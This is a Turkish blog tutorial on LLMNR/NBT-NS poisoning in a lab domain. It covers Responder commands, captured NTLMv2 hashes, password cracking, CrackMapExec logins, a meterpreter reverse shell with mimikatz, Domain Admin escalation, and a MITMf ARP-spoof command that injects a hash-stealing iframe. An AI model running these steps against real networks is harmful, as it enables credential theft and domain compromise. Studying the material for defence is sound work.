25 Şubat 2016 Perşembe

LLMNR - NBTNS Poisoning

Merhaba,

Kaç zamandır merak ettiğim ve arada karşıma çıkan, sonunda araştırıp öğrendikten sonra yazıya döktüğüm, isim çözme (name resolution) protokollerinden olan LLMNR ve NBT-NS'i aldatarak kurbanın kullanıcı parolasının hash değerini elde etme olayını anlatan bir yazı olacak okuyacaklarınız.

Baştan NOT: Yazının son kısmı olan Attack Combo kısmını okumadan geçmeyin bence, asıl atraksiyon orada..

LLMNR - NBT-NS
Link-Local Multicast Name Resolution (LLMNR) ve NetBIOS Name Service (NBT-NS) olarak bilinen bu servisler hakkında kısa bir ön bilgi verdikten sonra zafiyeti sömürelim ve iki hareket yapıp Domain admin olalım.


LLMNR olarak bahsi geçen protokol, windoz sistemlerde için isim çözümleme işini yapıyor. Şöyle ki, normal bir ağda isim çözümleme için DNS sunucusuna gidilir, fakat DNS sunucusunun cevabı bilmediği durumlarda multicast ile network'te bulunan makinelere aranan host sorulur ve buradan alınan cevap ile işlemler gerçekleştirilir.
Burada bulunan sıkıntı, kurbanın aldığı cevabı doğru ve güvenilir olarak kabul etmesi. Bizlerde bu güveni kötüye kullanarak sömürürüz.

Resimde anlatılan olay zafiyeti nasıl sömüreceğimizi anlatıyor. Adım adım açıklamak gerekirse;
  • Victim kişisi printserver ile haberleşmek ister fakat ismi yanlışlıkla pintserver olarak yazar ve bununla haberleşmek ister.
  • DNS sunucusuna pintserver sorulur ama DNS sunucu "hacı ben bilmiyom onu sen çok yanlış gelmişsin" der
  • Sonraki adımda victim network'te broadcast ile pintserver kimdir beyler bana bunu bulun der.
  • O an, bizler pusuya yatan bir çakal edasıyla gelen pakete cevap olarak çok değerli victim bey, aradığınız mübarek pintserver benim diye cevap döneriz.
  • Son adımda windoz'un challenge/response işleminden sonra victim hıyarı bize duruma bağlı olarak NETNTLM, NTLMv1, NTLMv2 hash türlerinden biriyle kendi credential/giriş bilgilerini verecektir.
Saldırı

Saldırıyı gerçekleştirmek için farklı araçlar kullanılabilir.
ilk anda aklıma gelen araçlar bunlar. Yukarıda söylediğim gibi saldırıyı Responder ile yapacağız. Kali linux içerisinde yüklü geliyor kendileri, diğer araçların da bulunduğu konum olan /usr/share/ klasörünün altında bulunan responder klasöründe görebilirsiniz.

Yukarıda vermiş olduğum linkten projeyi clone edip, kullanabilirsiniz.
Parametreler ve değişik spoofing methodları aşağıda görüldüğü gibidir.


Çok ayrıntıya girmeden -diğer spoofing yöntemleriyle uğraşmadan- tek parametre ile default ayarlarını kullanarak çalıştıralım aracı.
  • responder -i 172.17.7.65













Burada verilen IP adresi, spoofing işlemi sonucunda kurbanın yönlendirileceği adres, yani bizim local IP adresimiz. Gördüğünüz gibi istekler akıp gidiyor.
Şimdi kurban bilgisayarının yanlış bir hostname ile network'te bir adrese ulaşmaya çalıştığını varsayıp bir istekte bulunalım.
Örnek olarak \\hebele makinesine ulaşmaya çalıştığımı varsayalım.


Önce lokalde bulunan bir kullanıcı ile kurbandan \\hebele'ye ulaşmaya çalıştık. Ardından LAB isimli bir domain'den bir kullanıcı ile aynı şekilde \\hebele'ye ulaşmaya çalıştık.
Her iki şekilde de olmayan bir makineye ulaşmaya çalıştıkları için hata alacaklardır.

Fakat bu kısım ilgilendirmez, gariban kurbanın yaptığı hatayı sömürdük bile, akıllı olacaktı ve yanlış/olmayan yere erişmeye çalışmayacaktı.

responder -i 172.17.7.65 ile başlattığımız Responder'a dönelim bakalım neler olmuş orada.







Resimden anlaşılacağı üzere 78 IP'li makine önce Yunus, daha sonra da LAB\Administrator kullanıcıları ile \\hebele'ye ulaşmaya çalışmış.
Her iki sonuçta olmayan bir lokasyon olduğu için kurbanlar GG olmuş.

Elde edilen hash değerlerinin SMB-NTLMv2 formatında olduğu yazıyor.
Maalesef NTLMv2 ile PTH (Pass the Hash) yapılamıyor :'(

PTH yapılamadığı için elimizdeki tek alternatif hash değerlerini kırıp kullanıcılara ait parolaları elde etmek ve ordan yürümek. Elde edilen hash değerleri aşağıda verilmiştir.

Yunus::Yunus-PC:1122334455667788:4BB92B14728C7D995DF3A1C36230B220:01010000000000008F5429B0366ED10109A6948CA63AE6470000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C000800300030000000000000000100000000200000052CD17429F7A3607D2DDCD87B7D3BD45939F10B0E0CA22122348A1E84CD46500A001000000000000000000000000000000000000900160063006900660073002F0068006500620065006C0065000000000000000000

Administrator::LAB:1122334455667788:788ABF011E09A51F25999183E5358671:0101000000000000E6E498BE366ED101FC607845375E91D00000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C000800300030000000000000000000000000300000052CD17429F7A3607D2DDCD87B7D3BD45939F10B0E0CA22122348A1E84CD46500A001000000000000000000000000000000000000900160063006900660073002F0068006500620065006C0065000000000000000000

Elde edilen hash değerleri terminalin yanı sıra belli bir formatta dosyalara da yazılıyor. Format olarak şöyle bişi kullanıyorlar;
  • (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
Çıktıların kaydedildiği bu dosya, eğer kali'nin içerisindeki Responder ile çalışıyor isek; /usr/share/responder altında, eğer github'tan clone edip çalıştırdıysak kendi klasörü içerisinde olacaktır.
Bir önceki resimden anlaşılacağı üzere kurban kişisinin IP adresi 78 ile bitiyordu.

SMB modülünü kullanarak hash değeri elde etmiş ve elde ettiği hash NTLMv2 imiş.
Dosyanın içerisinde yukarda vermiş olduğum hash değerleri aynen yer alıyor.
Hashleri kırmak için Hashcat veya JtR (John the Ripper) kullanılabilir.

Çok uzatmadan john dayıya hash dosyasını verip kırmasını isteyelim.










Yunus isimli kullanıcının parolası kolay olduğu için kırıldı. Administrator kullanıcısının parolası 15 karakter ve karmaşık olduğu için john kıramayacaktır.
Elde ettiğimiz değerler ile bi giriş deneyelim.
Burada genelde Metasploit'in PsExec modülü kullanılır fakat ben byt3bl33d3r reyisin CrackMapExec aracını kullanacağım.

İlerde bununla ilgili bir yazı yazabilirim çünkü çok işe yarar, gözümde efsane bir araçtır.
(YAZAMADI)





Görüldüğü gibi giriş sağlanmıştır.

Bundan sonra CrackMapExec'i kullanarak SAM dosyasında bulunan tüm kullanıcıların parola hashleri alınabilir yada direk mimikatz ile oturumu memory'de olan kullanıcıların cleartext parolaları alınabilir.

Deneyelim;





Hoydaaa. Yetki yok :(

RPC yoksa RDP var huleyn diyip ordan giriyoz.
  • Önce msfvenom ile bize meterpreter reverse shell verecek bir zararlı yazılım üretiyoruz. - anti-virüs derdiniz var ise bunun çaresini önceki yazılarda yazmış idim, aramanın gücüne inanın-
  • Metasploit tarafında handler ile bağlantıyı beklemeye başlıyoruz.
  • Zararlıyı kurbana ulaştırmak için Python'ın SimpleHTTPServer modülünü kullanarak web server oluşturuyoruz.
  • Kurban tarafında RDP ile girdiğimiz makinenin browser'ından girerek zararlı dosyayı çekip, yönetici olarak çalıştır diyoruz.
  • Ve boom.
Sonrası zaten klasik meterpreter komutları;
getuid ile biz kimmişiz diye bakıyoruz,
getsystem ile yetki yükseltme yapıyoruz,
hashdump ile bilgisayardaki kullanıcı parola hashlerini alıyoruz,
load mimikatz ve wdigest ile cleartext parolaları alıyoruz.
















LAB domaininininin Administrator kişisinin parolası bizde, sonrası domain'e bir kullanıcı ekleyip onu Domain Admins grubuna almak ve gelsin DC adminlik...

Attack Combo

Şimdi diyeceksiniz ki, e gardaşım bunların hata yapmasını mı bekliyecez?
Kaç saat/gün bekliyecez ki kurban typo hatası yapsın da bizde parolasının hashini alalım diye.

Bizde her yol var diyip responder ile yaptığımızı başka bir saldırı ile harmanlayalım ve kurban hiçbir şeyin farkında olmadan parola hash değerini elde edelim.
Yapacağımız işlemde kurban normal bir şekilde internette sörf yaparken biz de onu olmayan bir host'a ulaşmaya zorlayacağız.

Evet, MITM saldırısı.

Bu işlem için MITMf aracını kullanacağım ben, alternatif olarak Bettercap aracınıda kullanabilirsiniz, sevdiğim ve kullandığım iki araç.

Yapılacak işlemdeki ana mantık; üstümüze aldığımız kurban trafiğinin içerisine iframe ile olmayan bir adresi enjekte etmek ve responder'in bu isteği yakalayıp spoof etmesini beklemek ve bingo, hashi elde etmek.

Daha fazla uzatmadan hızlı bir şekilde saldırıya geçelim.
  • mitmf --interface eth0 --gateway 172.17.7.254 --target 172.17.7.78 --arp --spoof --responder --inject --html-payload '<iframe src="\\\\Qweoke"></iframe>'
Yukarıda bir yerde MITMf'in de içerisinde responderı barındırdığını ve onunla da bu saldırıyı gerçekleştirebileceğimizi yazmıştık.
--responder parametresi ile LLMNR-NBTNS spoofing işlemini yapmasını sağlıyoruz ve iframe ile Qweoke gibi olmayan bir yere istek yapmaya zorluyoruz.

Resmin sol tarafında kurban var ve skype'ın web adresine gidiyor.
Resmin sağ tarafında ise MITMf ile yukarıda yazmış olduğumuz parametreler ile arp spoofing yapıp trafiği üzerimize alıyoruz ve cleartext trafiğin içerisine iframe ile Qweoke'yi enjekte ediyoruz.





Kısa bir şeyler yazayım diye çıktım gene uzun uzun yazmışım..
Gözden geçiremedim ikinci bir defa, bir hatamız/yanlışımız varsa yorum kutusu aşağıda..

LLMNR'i anlatan resmi aldığım ve olayı kavradığım kaynak:
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning

4 yorum:

  1. bu alanda gördüğüm en iyi bloglardan diyebilirim. paylasımlarınız için teşekkürler

    YanıtlaSil
  2. jargon mu daha guzel icerik mi karar veremedim :))

    YanıtlaSil
  3. Başarılı , teşekkürler :)

    YanıtlaSil